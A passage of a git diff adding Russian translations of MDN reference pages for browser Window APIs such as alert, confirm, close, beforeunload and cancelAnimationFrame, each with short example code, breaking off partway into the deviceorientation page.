+ <dt><a href="/en-US/docs/Web/API/WebXR_Device_API/Performance">WebXR performance guide</a></dt>
+ <dd>Recommendations and tips to help you optimize the performance of your WebXR application.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebXR_Device_API/Permissions_and_security">Permissions and security for WebXR</a></dt>
+ <dd>The WebXR Device API has several areas of security to contend with, from establishing feature-policy to ensuring the user intends to use the mixed reality presentation before activating it.</dd>
+</dl>
+
+<h3 id="Включение_другого_медиаконтента">Включение другого медиаконтента</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/Media/3D_audio">Positional audio in a 3D environment</a></dt>
+ <dd>In 3D environments, which may either be 3D scenes rendered to the screen or a mixed reality experience experienced using a headset, it's important for audio to be performed so that it sounds like it's coming from the direction of its source. This guide covers how to accomplish this.</dd>
+ <dt><a href="/en-US/docs/Web/Media/3D_video">Playing video in a 3D environment</a></dt>
+ <dd>In this guide, we examine how to play video into a 3D scene. This technique can be used in both standard <a href="/en-US/docs/Web/API/WebGL_API">WebGL</a> applications presented on a flat computer screen, or in a <a href="/en-US/docs/Web/API/WebXR_Device_API">WebXR</a>-generated virtual or augmented reality environment.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("WebXR")}}</td>
+   <td>{{Spec2("WebXR")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+<p>{{Compat("api.Navigator.xr")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/Graphics">Graphics on the web</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">Drawing graphics</a></li>
+ <li><a href="/en-US/docs/Web/API/WebGL_API">WebGL API</a>: Accelerated 2D and 3D graphics on the web</li>
+ <li><a href="/en-US/docs/Web/API/Canvas_API">Canvas API</a>: 2D drawing for the web</li>
+ <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas tutorial</a></li>
+</ul>
diff --git a/files/ru/web/api/window/alert/index.html b/files/ru/web/api/window/alert/index.html
new file mode 100644
index 0000000000..d727f8083a
--- /dev/null
+++ b/files/ru/web/api/window/alert/index.html
@@ -0,0 +1,75 @@
+---
+title: Window.alert()
+slug: Web/API/Window/alert
+translation_of: Web/API/Window/alert
+---
+<p>{{ APIRef }}</p>
+
+<p>Метод <strong><code>Window.alert()</code></strong> показывает диалоговое окно с опциональным (необязательным) сообщением и кнопкой OK.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">window.alert(<em>message</em>);</pre>
+
+<ul>
+ <li><code>message </code>это опциональная (необязательная) строка текста, которую вы хотите отобразить в диалоговом окне, или же объект, который будет преобразован в строку и отображен.</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: js">window.alert("Hello world!");
+</pre>
+
+<p>покажет:</p>
+
+<p><img alt="Image:AlertHelloWorld.png" src="/files/130/AlertHelloWorld.png"></p>
+
+<h2 id="More_JS" name="More_JS">Больше JS</h2>
+
+<pre class="brush: js">alert();
+</pre>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p>Этот диалог следует использовать для сообщений, которые не требуют никакого ответа от пользователя, кроме подтверждения самого сообщения.</p>
+
+<p>Окна сообщений - модальные, они препятствуют получению пользователем доступа к другим частям страницы до тех пор, пока окно не будет закрыто. По этой причине, вам не следует злоупотреблять этой функцией.</p>
+
+<p><span class="comment">The following text is shared between this article, DOM:window.prompt and DOM:window.confirm</span> Пользователи<a href="/en-US/Chrome" title="Chrome"> Mozilla Chrome</a> (например, расширения для Firefox) должны использовать метод {{interface("nsIPromptService")}}.</p>
+
+<p>Начиная с Chrome {{CompatChrome(46.0)}} этот метод заблокирован в {{htmlelement("iframe")}} пока аттрибут sandbox не устанолвлен в значение <code>allow-modal</code>.</p>
+
+<p>{{gecko_minversion_inline("23.0")}} Аргумент является опциональным и необязательным согласно спецификации.</p>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'timers-and-user-prompts.html#dom-alert', 'alert()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>
+    <p> </p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Window.alert")}}</p>
+
+<h2 id="See_also" name="See_also">См. также</h2>
+
+<ul>
+ <li>{{domxref("window.confirm","confirm")}}</li>
+ <li>{{domxref("window.prompt","prompt")}}</li>
+ <li>Для информации о <a href="/en-US/docs/Chrome" title="/en-US/docs/Chrome">Mozilla Chrome</a> смотрите {{ifmethod("nsIPromptService","alert")}} и {{ifmethod("nsIPromptService","alertCheck")}}</li>
+</ul>
diff --git a/files/ru/web/api/window/beforeunload_event/index.html b/files/ru/web/api/window/beforeunload_event/index.html
new file mode 100644
index 0000000000..dfc23da20f
--- /dev/null
+++ b/files/ru/web/api/window/beforeunload_event/index.html
@@ -0,0 +1,100 @@
+---
+title: 'Window: beforeunload event'
+slug: Web/API/Window/beforeunload_event
+translation_of: Web/API/Window/beforeunload_event
+---
+<div>{{APIRef}}</div>
+
+<p><span class="seoSummary">Событие <strong>beforeunload </strong>запускается, когда окно, документ и его ресурсы вот-вот будут выгружены. Документ все еще виден, и событие в этот момент может быть отменено.</span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Всплываемость</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">Отменяемость</th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">Интерфейс</th>
+   <td>{{domxref("Event")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Свойство обработчика событий</th>
+   <td>{{domxref("WindowEventHandlers/onbeforeunload", "onbeforeunload")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Это событие позволяет веб-странице вызвать диалоговое окно подтверждения, спрашивающее пользователя, действительно ли он хочет покинуть страницу. Если пользователь подтверждает, браузер переходит на новую страницу, в противном случае он отменяет навигацию.</p>
+
+<p>В соответствии со спецификацией, для отображения диалогового окна подтверждения обработчик события должен вызвать{{domxref("Event.preventDefault()", "preventDefault()")}} по событию.</p>
+
+<p>Однако обратите внимание, что не все браузеры поддерживают этот метод, а некоторые требуют от обработчика событий реализации одного из двух старых методов:</p>
+
+<ul>
+ <li>назначение строки свойству returnValue события</li>
+ <li>возвращающий строку из обработчика событий.</li>
+</ul>
+
+<p>Некоторые браузеры используют для отображения возвращаемой строки в диалоге подтверждения, позволяя обработчику события отображать пользователю пользовательское сообщение. Однако это устарело и больше не поддерживается в большинстве браузеров.</p>
+
+<p>Для борьбы с нежелательными всплывающими окнами браузеры могут не отображать подсказки, созданные в обработчиках событий <strong>beforeunload</strong>, за исключением случаев, когда страница была обработана или даже не отображается вообще.</p>
+
+<p>Прикрепление обработчика/слушателя событий к <code>window</code> или <code>document</code>'s <code>beforeunload</code> событие не позволяет браузерам использовать кэш навигации по страницам в памяти, наподобие <a href="/en-US/docs/Mozilla/Firefox/Releases/1.5/Using_Firefox_1.5_caching">Firefox's Back-Forward cache</a> or <a href="https://webkit.org/blog/516/webkit-page-cache-ii-the-unload-event/">WebKit's Page Cache</a>.</p>
+
+<p>В спецификации HTML указано, что вызовы {{domxref("window.alert()")}}, {{domxref("window.confirm()")}}, и {{domxref("window.prompt()")}} методы могут быть проигнорированы во время этого события. Посмотреть <a href="https://html.spec.whatwg.org/multipage/timers-and-user-prompts.html#user-prompts" lang="ru">HTML specification</a> для более подробной информации.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>В HTML-спецификации указано, что авторы должны использовать метод {{domxref("Event.preventDefault()")}}, а не {{domxref("Event.returnValue")}}. Однако, это поддерживается не всеми браузерами.</p>
+
+<pre class="brush: js notranslate">window.addEventListener('beforeunload', (event) =&gt; {
+  // Отмените событие, как указано в стандарте.
+  event.preventDefault();
+  // Хром требует установки возвратного значения.
+  event.returnValue = '';
+});
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "indices.html#event-beforeunload", "beforeunload")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "browsers.html#unloading-documents", "beforeunload")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице составлена из структурированных данных. Если Вы хотите внести свой вклад в данные, пожалуйста, посетите https://github.com/mdn/browser-compat-data и отправьте нам запрос.</div>
+
+<p>{{Compat("api.Window.beforeunload_event")}}</p>
+
+<p>Смотрите <a href="/en-US/docs/Web/API/WindowEventHandlers/onbeforeunload#Browser_compatibility">WindowEventHandlers/onbeforeunload</a> для получения более подробной информации о том, как различные браузеры обрабатывают это событие.</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>Related events: {{domxref("Window/DOMContentLoaded_event", "DOMContentLoaded")}}, {{domxref("Document/readystatechange_event", "readystatechange")}}, {{domxref("Window/load_event", "load")}}, {{domxref("Window/unload_event", "unload")}}</li>
+ <li><a href="https://html.spec.whatwg.org/#prompt-to-unload-a-document">Unloading Documents — Prompt to unload a document</a></li>
+ <li><a href="https://developers.google.com/web/updates/2016/04/chrome-51-deprecations?hl=en#remove_custom_messages_in_onbeforeunload_dialogs">Remove Custom Messages in onbeforeload Dialogs after Chrome 51</a></li>
+</ul>
diff --git a/files/ru/web/api/window/blur/index.html b/files/ru/web/api/window/blur/index.html
new file mode 100644
index 0000000000..f5a8f8358a
--- /dev/null
+++ b/files/ru/web/api/window/blur/index.html
@@ -0,0 +1,39 @@
+---
+title: Window.blur()
+slug: Web/API/Window/blur
+translation_of: Web/API/Window/blur
+---
+<p>{{APIRef}}</p>
+
+<h2 id="Summary" name="Summary">Описание</h2>
+
+<p>Убирает фокус с окна.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>window.blur()</code></pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">window.blur();</pre>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p>Метод window.blur() является программным эквивалентом действия, когда пользователь переключает фокус с текущего окна.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','interaction.html#dom-window-blur','Window.blur()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/api/window/cancelanimationframe/index.html b/files/ru/web/api/window/cancelanimationframe/index.html
new file mode 100644
index 0000000000..897d147ae0
--- /dev/null
+++ b/files/ru/web/api/window/cancelanimationframe/index.html
@@ -0,0 +1,65 @@
+---
+title: window.cancelAnimationFrame()
+slug: Web/API/Window/cancelAnimationFrame
+translation_of: Web/API/Window/cancelAnimationFrame
+---
+<div>{{APIRef}}</div>
+
+<p>Метод <code><strong>window.cancelAnimationFrame()</strong></code> останавливает анимацию, запланированную с помощью {{domxref("window.requestAnimationFrame()")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">window.cancelAnimationFrame(<em>requestID</em>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>requestID</code></dt>
+ <dd>Значение, которое возвращает {{domxref("window.requestAnimationFrame()")}} при запросе callback.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js notranslate">var requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame ||
+                            window.webkitRequestAnimationFrame || window.msRequestAnimationFrame;
+
+var cancelAnimationFrame = window.cancelAnimationFrame || window.mozCancelAnimationFrame;
+
+var start = window.mozAnimationStartTime;  // Поддерживается только FF. В других браузерах можно использовать Date.now().
+
+var myReq;
+
+function step(timestamp) {
+  var progress = timestamp - start;
+  d.style.left = Math.min(progress / 10, 200) + 'px';
+  if (progress &lt; 2000) {
+    // Важно обновлять requestId при каждом запросе requestAnimationFrame
+    myReq = requestAnimationFrame(step);
+  }
+}
+myReq = requestAnimationFrame(step);
+// остановка с использованием последнего requestId
+cancelAnimationFrame(myReq);
+</pre>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("api.Window.cancelAnimationFrame")}}</p>
+</div>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<ul>
+ <li>{{spec("https://www.w3.org/TR/html51/webappapis.html#animation-frames", "Timing control for script-based animations: cancelAnimationFrame", "WD")}}</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("window.mozAnimationStartTime")}}</li>
+ <li>{{domxref("window.requestAnimationFrame()")}}</li>
+</ul>
diff --git a/files/ru/web/api/window/clearimmediate/index.html b/files/ru/web/api/window/clearimmediate/index.html
new file mode 100644
index 0000000000..b1ac586186
--- /dev/null
+++ b/files/ru/web/api/window/clearimmediate/index.html
@@ -0,0 +1,44 @@
+---
+title: Window.clearImmediate()
+slug: Web/API/Window/clearImmediate
+tags:
+  - API
+  - DOM
+  - метод
+translation_of: Web/API/Window/clearImmediate
+---
+<p>{{ Apiref() }}</p>
+
+<p>Данный метод очищает действие, определённое {{ domxref("window.setImmediate") }}.</p>
+
+<div class="note"><strong>Note:</strong> На текущий момент данный метод находится на стадии предложения на внедрение, не является стандартом и имплементирован только в последних сборках Internet Explorer.</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre>window.clearImmediate(immediateID)
+</pre>
+
+<p>где immediateID это идентификатор, возвращаемый из {{ domxref("window.setImmediate") }}.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre>var immediateID = setImmediate(function () {
+  // Выполнение некоего кода
+}
+
+document.getElementById("button").addEventListener(function () {
+  clearImmediate(immediateID);
+}, false);
+</pre>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.Window.clearImmediate")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p>{{ domxref("window.setImmediate") }}</p>
+
+<p>{{ spec("https://dvcs.w3.org/hg/webperf/raw-file/tip/specs/setImmediate/Overview.html", "Specification: Efficient Script Yielding") }}</p>
diff --git a/files/ru/web/api/window/close/index.html b/files/ru/web/api/window/close/index.html
new file mode 100644
index 0000000000..87d7225262
--- /dev/null
+++ b/files/ru/web/api/window/close/index.html
@@ -0,0 +1,67 @@
+---
+title: Window.close()
+slug: Web/API/Window/close
+translation_of: Web/API/Window/close
+---
+<p>{{APIRef}}</p>
+
+<p>Функция <code><strong>Window.close()</strong></code> закрывает текущее окно или окно, которое было открыто с помощью функции <code><strong>Window.open()</strong></code>.</p>
+
+<p>Этот метод разрешено использовать только для окон, которые были открыты с помощью функции {{domxref("window.open()")}}. Если окно не было открыто посредством JavaScript, в консоли появится ошибка, похожая на эту: <code>Scripts may not close windows that were not opened by script.</code></p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">window.close();</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Closing_a_window_opened_with_window.open.28.29" name="Closing_a_window_opened_with_window.open.28.29">Закрытие окна, открытого с помощью <code>window.open()</code></h3>
+
+<p>В примере показаны два метода, в которых первый из них открывает окно, а второй закрывает; этот пример иллюстрирует как использовать <code>Window.close() для закрытия окна, открытого с помощью функции</code> {{domxref("window.open()")}}.</p>
+
+<pre class="brush: js">// Глобальная переменная, хранящая ссылку на открыток окно
+var openedWindow;
+
+function openWindow() {
+  openedWindow = window.open('moreinfo.htm');
+}
+
+function closeOpenedWindow() {
+  openedWindow.close();
+}
+</pre>
+
+<h3 id="Закрытие_текущего_окна">Закрытие текущего окна</h3>
+
+<p>В прошлом, если бы вы вызвали фунцию close() объекта window, вместо вызова функции close() для созданного окна, браузер закрыл бы текущее окно, создал ли его ваш скрипт или нет. В текущее время этого не произойдет; по причинам безопасности, скриптам больше не разрешено закрывать окна, которые они не открыли. (Firefox 46.0.1: scripts can not close windows, they had not opened)</p>
+
+<pre class="brush: js">function closeCurrentWindow() {
+  window.close();
+}
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-window-close', 'window.close()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#dom-window-close", "Window.close()")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Window.close")}}</p>
diff --git a/files/ru/web/api/window/closed/index.html b/files/ru/web/api/window/closed/index.html
new file mode 100644
index 0000000000..fc1cf46867
--- /dev/null
+++ b/files/ru/web/api/window/closed/index.html
@@ -0,0 +1,59 @@
+---
+title: Window.closed
+slug: Web/API/Window/closed
+translation_of: Web/API/Window/closed
+---
+<div>{{APIRef}}</div>
+
+<h2 id="Общая_информация">Общая информация</h2>
+
+<p>Данное свойство только для чтения указывает, открыто ли целевое  окно или нет.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>isClosed</var> = <var>windowRef</var>.closed;
+</pre>
+
+<dl>
+ <dt><code>isClosed</code></dt>
+ <dd>Переменная логического типа. Возможные значения:
+ <ul>
+  <li><code>true</code>: Окно было закрыто.</li>
+  <li><code>false</code>: Окно открыто.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Изменение_URL_окна_браузера_со_всплывающего_окна">Изменение URL окна браузера со всплывающего окна</h3>
+
+<p>Следующий пример демонстрирует, как всплывающее окно может изменять URL окна, которое его открыло. Перед тем, как изменить URL, оно проверяет, имеет ли текущее окно свойство <a href="https://developer.mozilla.org/en-US/docs/DOM/window.opener">window.opener</a> и не закрыто ли оно:</p>
+
+<pre class="brush:js">// проверяет, если <a href="https://developer.mozilla.org/en-US/docs/DOM/window.opener">window.opener</a> существует и не закрыт
+if (window.opener &amp;&amp; !window.opener.closed) {
+  window.opener.location.href = "http://www.mozilla.org";
+}</pre>
+
+<p>Заметьте, что всплывающие окна имеют доступ только к окнам, которые их открыли.</p>
+
+<h3 id="Обновление_ранее_открытого_всплывающего_окна">Обновление ранее открытого всплывающего окна</h3>
+
+<p>В данном примере функция <code>refreshPopupWindow()</code> вызывает метод <code>reload</code> у объекта локации всплывающего окна для обновления его данных. Если всплывающее окно еще не было открыто или пользователь его закрыл, открывает новое окно.</p>
+
+<pre class="brush:js">var popupWindow = null;
+
+function refreshPopupWindow() {
+  if (popupWindow &amp;&amp; !popupWindow.closed) {
+    // popupWindow открыто, обновите его
+    popupWindow.location.reload(true);
+  } else {
+    // открывает новое всплывающее окно
+    popupWindow = window.open("popup.html","dataWindow");
+  }
+}
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<p>HTML5</p>
diff --git a/files/ru/web/api/window/confirm/index.html b/files/ru/web/api/window/confirm/index.html
new file mode 100644
index 0000000000..8e481973df
--- /dev/null
+++ b/files/ru/web/api/window/confirm/index.html
@@ -0,0 +1,70 @@
+---
+title: Window.confirm()
+slug: Web/API/Window/confirm
+translation_of: Web/API/Window/confirm
+---
+<div>{{ApiRef("Window")}}</div>
+
+<p><code><font face="Open Sans, Arial, sans-serif">Метод </font><strong>Window.confirm() </strong></code>отображает диалоговое окно, которое содержит две кнопки (OK и Cancel), а так же опциональное (необязательное) текстовое сообщение.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre><em>result</em> = window.confirm(<em>message</em>);
+</pre>
+
+<ul>
+ <li><code>message</code> опциональная (необязательная) строка, которая будет отображена в диалоговом окне.</li>
+ <li><code>result</code> булево значение, указывающее на нажатую кнопку OK или Cancel (<code>true</code> означает OK).</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre>if (window.confirm("Do you really want to leave?")) {
+  window.open("exit.html", "Thanks for Visiting!");
+}
+</pre>
+
+<p>Результат:</p>
+
+<p><img alt="firefox confirm" src="https://mdn.mozillademos.org/files/7163/firefoxcomfirmdialog_zpsf00ec381.png" style="height: 119px; width: 354px;"><br>
+  </p>
+
+<h2 id="Notes" name="Notes">Заметки</h2>
+
+<p>Окна сообщений - модальные, они препятствуют получению пользователем доступа к другим частям страницы до тех пор, пока окно не будет закрыто. По этой причине, вам не следует злоупотреблять этой функцией. Более того, существуют более веские причины <a href="http://alistapart.com/article/neveruseawarning">избегать использования диалоговых окон для подтверждения действий пользователя</a>.</p>
+
+<p>Пользователям <a href="/en-US/Chrome" title="Chrome">Mozilla Chrome</a> (например, расширений Firefox) следует использовать методы {{interface("nsIPromptService")}} как альтернативу.</p>
+
+<p>Начиная с Chrome {{CompatChrome(46.0)}} этот метод заблокирован в {{htmlelement("iframe")}} до тех пор, пока атрибут sandbox не установлен в значение <code>allow-modal</code>.</p>
+
+<p>{{gecko_minversion_inline("23.0")}} Аргумент является опциональным и необязательным согласно спецификации.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'timers-and-user-prompts.html#dom-confirm', 'confirm()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Window.confirm")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("window.alert","alert")}}</li>
+ <li>{{domxref("window.prompt","prompt")}}</li>
+</ul>
diff --git a/files/ru/web/api/window/console/index.html b/files/ru/web/api/window/console/index.html
new file mode 100644
index 0000000000..d6fac2ad19
--- /dev/null
+++ b/files/ru/web/api/window/console/index.html
@@ -0,0 +1,53 @@
+---
+title: Window.console
+slug: Web/API/Window/console
+translation_of: Web/API/Window/console
+---
+<p>{{ APIRef }}</p>
+
+<p>Свойство <strong><code>window.console</code></strong> дает доступ к интерфейсу {{domxref("Console")}}, предоставляющий методы для вывода информации в консоль браузера. Данные методы предназначены для отладки приложения, и не должны использоваться конечными пользователями.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>var consoleObj</em> = <em>window</em>.console;
+</pre>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<h3 id="Вывод_текста_в_консоль">Вывод текста в консоль</h3>
+
+<p>Первый пример просто выведет текст в консоль:</p>
+
+<pre class="brush: js">console.log("An error occurred while loading the content");
+</pre>
+
+<p>Следующий пример выведет объект в консоль, с возможностью раскрытия отдельных полей:</p>
+
+<pre class="brush: js">console.dir(someObject);</pre>
+
+<p>Примеры можно посмотреть по ссылке: {{SectionOnPage("/ru/docs/Web/API/Console", "Usage")}}</p>
+
+<p> </p>
+
+<p> </p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Console API')}}</td>
+   <td>{{Spec2('Console API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p>Currently there are many implementation differences among browsers, but work is being done to bring them together and make them more consistent with one another.</p>
+</div>
diff --git a/files/ru/web/api/window/crypto/index.html b/files/ru/web/api/window/crypto/index.html
new file mode 100644
index 0000000000..48087d7eda
--- /dev/null
+++ b/files/ru/web/api/window/crypto/index.html
@@ -0,0 +1,93 @@
+---
+title: Window.crypto
+slug: Web/API/Window/crypto
+tags:
+  - API
+  - Нужно описание
+  - Нужны примеры
+  - Совместимость
+translation_of: Web/API/Window/crypto
+---
+<p>{{APIRef}}</p>
+
+<p>{{domxref("Window.crypto")}} дает доступ к интерфейсу {{domxref("Crypto")}}. Этот интерфейс предоставляет веб-странице доступ к встроенным в браузер возможностям криптографии.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>cryptoObj</em> = window.crypto || window.msCrypto; // для IE 11
+</pre>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="spec-table standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Crypto API')}}</td>
+   <td>{{Spec2('Web Crypto API')}}</td>
+   <td>Стабильное API</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Реализация_в_браузерах">Реализация в браузерах</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Фунционал</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовый</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>11 {{ property_prefix("-ms") }}</td>
+   <td>15</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">Базовый</span></td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="См._так_же">См. так же:</h2>
+
+<ul>
+ <li>глобальный объект {{domxref("Window")}} </li>
+</ul>
diff --git a/files/ru/web/api/window/deviceorientation_event/index.html b/files/ru/web/api/window/deviceorientation_event/index.html
new file mode 100644
index 0000000000..0d264588d7
--- /dev/null
+++ b/files/ru/web/api/window/deviceorientation_event/index.html
@@ -0,0 +1,171 @@
+---
+title: deviceorientation
+slug: Web/API/Window/deviceorientation_event
+tags:
+  - Имитация смены положения
+  - Определение ориентации
+  - Ориентация
+  - Сенсоры
+translation_of: Web/API/Window/deviceorientation_event
+---
+<p>Событие <code>deviceorientation</code> срабатывает, когда с сенсоров ориентации поступают новые данные о текущем положении устройства внутри Земной системы координат. Эти данные собираются с помощью мангитометра устройства. Более детальное объяснение дано в <a href="/en-US/docs/DOM/Orientation_and_motion_data_explained">Ориентация и объяснение данных движения</a>.</p>
+
+<h2 id="Общая_информация">Общая информация</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Спецификация</dt>
+ <dd style="margin: 0 0 0 120px;">Событие <a class="external" href="http://www.w3.org/TR/orientation-event/#deviceorientation">DeviceOrientation</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Определение</dt>
+ <dd style="margin: 0 0 0 120px;">DeviceOrientationEvent</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Всплывает</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Отменяемо</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Целевой элемент</dt>
+ <dd style="margin: 0 0 0 120px;">По умолчанию (<code>window</code>)</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Действие по умолчанию </dt>
+ <dd style="margin: 0 0 0 120px;"> </dd>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<table class="standard-table">
+ <thead>
